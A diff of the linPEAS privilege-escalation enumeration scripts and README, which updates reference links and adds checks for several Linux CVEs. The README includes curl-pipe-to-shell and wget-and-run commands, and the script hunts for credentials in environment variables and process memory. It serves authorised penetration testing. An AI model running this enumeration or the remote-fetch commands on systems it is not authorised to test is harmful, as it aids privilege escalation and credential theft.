Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# From github
|
# From github
|
||||||
curl -L https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fheads%2Fmaster/linpeas.sh | sh
|
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
|
||||||
```
|
```
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
@@ -42,7 +42,7 @@ less -r /dev/shm/linpeas.txt #Read with colors
|
|||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Use a linpeas binary
|
# Use a linpeas binary
|
||||||
wget https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fheads%2Fmaster/linpeas_linux_amd64
|
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
|
||||||
chmod +x linpeas_linux_amd64
|
chmod +x linpeas_linux_amd64
|
||||||
./linpeas_linux_amd64
|
./linpeas_linux_amd64
|
||||||
```
|
```
|
||||||
@@ -203,8 +203,5 @@ If you find any issue, please report it using **[github issues](https://github.c
|
|||||||
|
|
||||||
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
||||||
|
|
||||||
## License
|
|
||||||
|
|
||||||
MIT License
|
|
||||||
|
|
||||||
By Polop<sup>(TM)</sup>
|
By Polop<sup>(TM)</sup>
|
||||||
@@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
#-- SY) OS
|
#-- SY) OS
|
||||||
print_2title "Operative system"
|
print_2title "Operative system"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
|
||||||
(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED},"
|
(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED},"
|
||||||
warn_exec lsb_release -a 2>/dev/null
|
warn_exec lsb_release -a 2>/dev/null
|
||||||
if [ "$MACPEAS" ]; then
|
if [ "$MACPEAS" ]; then
|
||||||
@@ -15,16 +15,43 @@ echo ""
|
|||||||
#-- SY) Sudo
|
#-- SY) Sudo
|
||||||
print_2title "Sudo version"
|
print_2title "Sudo version"
|
||||||
if [ "$(command -v sudo 2>/dev/null)" ]; then
|
if [ "$(command -v sudo 2>/dev/null)" ]; then
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version"
|
||||||
sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED},"
|
sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED},"
|
||||||
else echo_not_found "sudo"
|
else echo_not_found "sudo"
|
||||||
fi
|
fi
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
|
#-- SY) CVEs
|
||||||
|
print_2title "CVEs Check"
|
||||||
|
|
||||||
|
#-- SY) CVE-2021-4034
|
||||||
|
if [ `command -v pkexec` ] && stat -c '%a' $(which pkexec) | grep -q 4755 && [ "$(stat -c '%Y' $(which pkexec))" -lt "1642035600" ]; then
|
||||||
|
echo "Vulnerable to CVE-2021-4034" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
#-- SY) CVE-2021-3560
|
||||||
|
polkitVersion=$(systemctl status polkit.service | grep version | cut -d " " -f 9)
|
||||||
|
if [[ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 || "$(rpm -qa | grep polkit | grep -c '0.117-2\|0.115-6')" -ge 1 ]]; then
|
||||||
|
echo "Vulnerable to CVE-2021-3560" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
#-- SY) CVE-2022-0847
|
||||||
|
#-- https://dirtypipe.cm4all.com/
|
||||||
|
#-- https://stackoverflow.com/a/37939589
|
||||||
|
kernelversion=$(uname -r | awk -F"-" '{print $1}')
|
||||||
|
kernelnumber=$(echo $kernelversion | awk -F. '{ printf("%d%03d%03d%03d\n", $1,$2,$3,$4); }')
|
||||||
|
if [[ $kernelnumber -ge 5008000000 && $kernelnumber -lt 5017000000 ]]; then # if kernel version beteen 5.8 and 5.17
|
||||||
|
echo "Vulnerable to CVE-2022-0847" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
echo ""
|
||||||
|
|
||||||
#--SY) USBCreator
|
#--SY) USBCreator
|
||||||
if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then
|
if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then
|
||||||
print_2title "USBCreator"
|
print_2title "USBCreator"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation"
|
||||||
|
|
||||||
pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+")
|
pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+")
|
||||||
if [ -z "$pc_version" ]; then
|
if [ -z "$pc_version" ]; then
|
||||||
@@ -43,7 +70,7 @@ echo ""
|
|||||||
|
|
||||||
#-- SY) PATH
|
#-- SY) PATH
|
||||||
print_2title "PATH"
|
print_2title "PATH"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-path-abuses"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses"
|
||||||
echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g"
|
echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g"
|
||||||
echo "New path exported: $PATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\. ,${SED_RED_YELLOW},g"
|
echo "New path exported: $PATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\. ,${SED_RED_YELLOW},g"
|
||||||
echo ""
|
echo ""
|
||||||
@@ -77,8 +104,8 @@ fi
|
|||||||
|
|
||||||
if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then
|
if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then
|
||||||
print_2title "Unmounted file-system?"
|
print_2title "Unmounted file-system?"
|
||||||
print_info "Check if you can mount umounted devices"
|
print_info "Check if you can mount unmounted devices"
|
||||||
grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED}," | sed -${E} "s,$mounted,${SED_BLUE}," | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g"
|
grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED},g" | sed -${E} "s%$mounted%${SED_BLUE}%g" | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g"
|
||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
|
|
||||||
@@ -97,13 +124,13 @@ fi
|
|||||||
#-- SY) Environment vars
|
#-- SY) Environment vars
|
||||||
print_2title "Environment"
|
print_2title "Environment"
|
||||||
print_info "Any private information inside environment variables?"
|
print_info "Any private information inside environment variables?"
|
||||||
(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_KUBELET" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set"
|
(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set"
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
#-- SY) Dmesg
|
#-- SY) Dmesg
|
||||||
if [ "$(command -v dmesg 2>/dev/null)" ] || [ "$DEBUG" ]; then
|
if [ "$(command -v dmesg 2>/dev/null)" ] || [ "$DEBUG" ]; then
|
||||||
print_2title "Searching Signature verification failed in dmesg"
|
print_2title "Searching Signature verification failed in dmesg"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#dmesg-signature-verification-failed"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed"
|
||||||
(dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg"
|
(dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg"
|
||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
@@ -122,10 +149,7 @@ if [ "$(command -v bash 2>/dev/null)" ]; then
|
|||||||
print_2title "Executing Linux Exploit Suggester"
|
print_2title "Executing Linux Exploit Suggester"
|
||||||
print_info "https://github.com/mzet-/linux-exploit-suggester"
|
print_info "https://github.com/mzet-/linux-exploit-suggester"
|
||||||
les_b64="peass{LES}"
|
les_b64="peass{LES}"
|
||||||
echo $les_b64 | base64 -d | bash
|
echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g"
|
||||||
if [ "$EXTRA_CHECKS" ]; then
|
|
||||||
echo $les_b64 | base64 -d | bash -s -- --checksec
|
|
||||||
fi
|
|
||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
|
|
||||||
@@ -133,7 +157,7 @@ if [ "$(command -v perl 2>/dev/null)" ]; then
|
|||||||
print_2title "Executing Linux Exploit Suggester 2"
|
print_2title "Executing Linux Exploit Suggester 2"
|
||||||
print_info "https://github.com/jondonas/linux-exploit-suggester-2"
|
print_info "https://github.com/jondonas/linux-exploit-suggester-2"
|
||||||
les2_b64="peass{LES2}"
|
les2_b64="peass{LES2}"
|
||||||
echo $les2_b64 | base64 -d | perl
|
echo $les2_b64 | base64 -d | perl | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g"
|
||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
|||||||
@@ -187,7 +187,7 @@ fi
|
|||||||
if [ "$inContainer" ]; then
|
if [ "$inContainer" ]; then
|
||||||
echo ""
|
echo ""
|
||||||
print_2title "Container & breakout enumeration"
|
print_2title "Container & breakout enumeration"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout"
|
||||||
print_list "Container ID ...................$NC $(cat /etc/hostname && echo '')"
|
print_list "Container ID ...................$NC $(cat /etc/hostname && echo '')"
|
||||||
if echo "$containerType" | grep -qi "docker"; then
|
if echo "$containerType" | grep -qi "docker"; then
|
||||||
print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n"
|
print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n"
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ print_2title "Cleaned processes"
|
|||||||
if [ "$NOUSEPS" ]; then
|
if [ "$NOUSEPS" ]; then
|
||||||
printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
|
printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
|
||||||
fi
|
fi
|
||||||
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes"
|
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
|
||||||
|
|
||||||
if [ "$NOUSEPS" ]; then
|
if [ "$NOUSEPS" ]; then
|
||||||
print_ps | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
|
print_ps | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
|
||||||
@@ -28,8 +28,8 @@ else
|
|||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
#-- PCS) Binary processes permissions
|
#-- PCS) Binary processes permissions
|
||||||
print_2title "Binary processes permissions (non 'root root' and not beloging to current user)"
|
print_2title "Binary processes permissions (non 'root root' and not belonging to current user)"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
|
||||||
binW="IniTialiZZinnggg"
|
binW="IniTialiZZinnggg"
|
||||||
ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do
|
ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do
|
||||||
if [ -w "$bpath" ]; then
|
if [ -w "$bpath" ]; then
|
||||||
@@ -50,7 +50,7 @@ fi
|
|||||||
|
|
||||||
#-- PCS) Processes with credentials inside memory
|
#-- PCS) Processes with credentials inside memory
|
||||||
print_2title "Processes with credentials in memory (root req)"
|
print_2title "Processes with credentials in memory (root req)"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#credentials-from-process-memory"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory"
|
||||||
if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi
|
if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi
|
||||||
if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi
|
if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi
|
||||||
if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi
|
if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi
|
||||||
@@ -62,7 +62,7 @@ echo ""
|
|||||||
#-- PCS) Different processes 1 min
|
#-- PCS) Different processes 1 min
|
||||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
|
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
|
||||||
print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
|
print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#frequent-cron-jobs"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs"
|
||||||
temp_file=$(mktemp)
|
temp_file=$(mktemp)
|
||||||
if [ "$(ps -e -o command 2>/dev/null)" ]; then for i in $(seq 1 1250); do ps -e -o command >> "$temp_file" 2>/dev/null; sleep 0.05; done; sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]"; rm "$temp_file"; fi
|
if [ "$(ps -e -o command 2>/dev/null)" ]; then for i in $(seq 1 1250); do ps -e -o command >> "$temp_file" 2>/dev/null; sleep 0.05; done; sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]"; rm "$temp_file"; fi
|
||||||
echo ""
|
echo ""
|
||||||
@@ -70,13 +70,13 @@ fi
|
|||||||
|
|
||||||
#-- PCS) Cron
|
#-- PCS) Cron
|
||||||
print_2title "Cron jobs"
|
print_2title "Cron jobs"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
|
||||||
command -v crontab 2>/dev/null || echo_not_found "crontab"
|
command -v crontab 2>/dev/null || echo_not_found "crontab"
|
||||||
crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||||
command -v incrontab 2>/dev/null || echo_not_found "incrontab"
|
command -v incrontab 2>/dev/null || echo_not_found "incrontab"
|
||||||
incrontab -l 2>/dev/null
|
incrontab -l 2>/dev/null
|
||||||
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
|
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
|
||||||
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#\|test \-x /usr/sbin/anacron\|run\-parts \-\-report /etc/cron.hourly\| root run-parts /etc/cron." | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||||
crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
|
crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
|
||||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths
|
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths
|
||||||
atq 2>/dev/null
|
atq 2>/dev/null
|
||||||
@@ -131,7 +131,7 @@ fi
|
|||||||
|
|
||||||
#-- PSC) systemd PATH
|
#-- PSC) systemd PATH
|
||||||
print_2title "Systemd PATH"
|
print_2title "Systemd PATH"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#systemd-path-relative-paths"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths"
|
||||||
systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g"
|
systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g"
|
||||||
WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders")
|
WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders")
|
||||||
echo ""
|
echo ""
|
||||||
@@ -139,7 +139,7 @@ echo ""
|
|||||||
#-- PSC) .service files
|
#-- PSC) .service files
|
||||||
#TODO: .service files in MACOS are folders
|
#TODO: .service files in MACOS are folders
|
||||||
print_2title "Analyzing .service files"
|
print_2title "Analyzing .service files"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#services"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services"
|
||||||
printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
|
printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
|
||||||
if [ ! -O "$s" ]; then #Remove services that belongs to the current user
|
if [ ! -O "$s" ]; then #Remove services that belongs to the current user
|
||||||
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then
|
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then
|
||||||
@@ -167,13 +167,13 @@ echo ""
|
|||||||
|
|
||||||
#-- PSC) Timers
|
#-- PSC) Timers
|
||||||
print_2title "System timers"
|
print_2title "System timers"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
|
||||||
(systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found
|
(systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
#-- PSC) .timer files
|
#-- PSC) .timer files
|
||||||
print_2title "Analyzing .timer files"
|
print_2title "Analyzing .timer files"
|
||||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
|
||||||
printf "%s\n" "$PSTORAGE_TIMER" | while read t; do
|
printf "%s\n" "$PSTORAGE_TIMER" | while read t; do
|
||||||
if ! [ "$IAMROOT" ] && [ -w "$t" ]; then
|
if ! [ "$IAMROOT" ] && [ -w "$t" ]; then
|
||||||
echo "$t" | sed -${E} "s,.*,${SED_RED},g"
|
echo "$t" | sed -${E} "s,.*,${SED_RED},g"
|
||||||
@@ -195,7 +195,7 @@ echo ""
|
|||||||
#TODO: .socket files in MACOS are folders
|
#TODO: .socket files in MACOS are folders
|
||||||
if ! [ "$IAMROOT" ]; then
|
if ! [ "$IAMROOT" ]; then
|
||||||
print_2title "Analyzing .socket files"
|
